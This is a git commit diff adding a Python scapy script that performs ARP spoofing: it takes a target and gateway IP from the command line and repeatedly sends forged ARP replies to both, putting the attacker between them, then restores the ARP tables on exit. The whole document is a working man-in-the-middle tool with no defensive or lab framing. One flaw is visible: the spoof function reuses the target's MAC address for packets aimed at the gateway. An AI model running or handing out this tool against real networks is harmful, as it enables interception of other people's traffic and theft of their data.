added arp spoof with command line arguements

my_arp_spoof_kirru08.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+
+import scapy.all as scapy
+import optparse
+import time
+import sys
+
+def get_mac(ip):
+    arp_request = scapy.ARP(pdst=ip)
+    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
+    arp_request_broadcast=broadcast/arp_request
+    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
+
+    return answered_list[0][1].hwsrc
+
+
+def spoof(target_ip, spoof_ip):
+    packet=scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
+    scapy.send(packet, verbose=False)
+
+def restore(destination_ip, source_ip):
+    destination_mac=get_mac(destination_ip)
+    source_mac=get_mac(source_ip)
+    packet=scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
+    scapy.send(packet, verbose=False)
+
+def get_arguments():
+    parser = optparse.OptionParser()
+    parser.add_option("-t", "--target", dest="target_ip", help="Target IP")
+    parser.add_option("-g", "--gateway", dest="gateway_ip", help="Gateway IP")
+    options = parser.parse_args()[0]
+
+    if not options.target_ip:
+        parser.error("[-]please specify target ip address, use --help for more info")
+
+    if not options.gateway_ip:
+        parser.error("[-]please specify gateway ip address, use --help for more info")
+
+    return options
+
+
+args=get_arguments()
+target_ip = args.target_ip
+gateway_ip = args.gateway_ip
+target_mac=get_mac(target_ip)
+sent_packets_count=0
+
+try:
+    while True:
+        spoof(target_ip, gateway_ip)
+        spoof(gateway_ip, target_ip)
+        sent_packets_count = sent_packets_count + 2
+        print("\r[+]Packets sent:" + str(sent_packets_count)),
+        sys.stdout.flush()
+        time.sleep(2)
+
+except KeyboardInterrupt:
+    print("\n[+]Ctrl+C, Terminated.")
+    restore(target_ip, gateway_ip)
+    restore(gateway_ip, target_ip)
+
+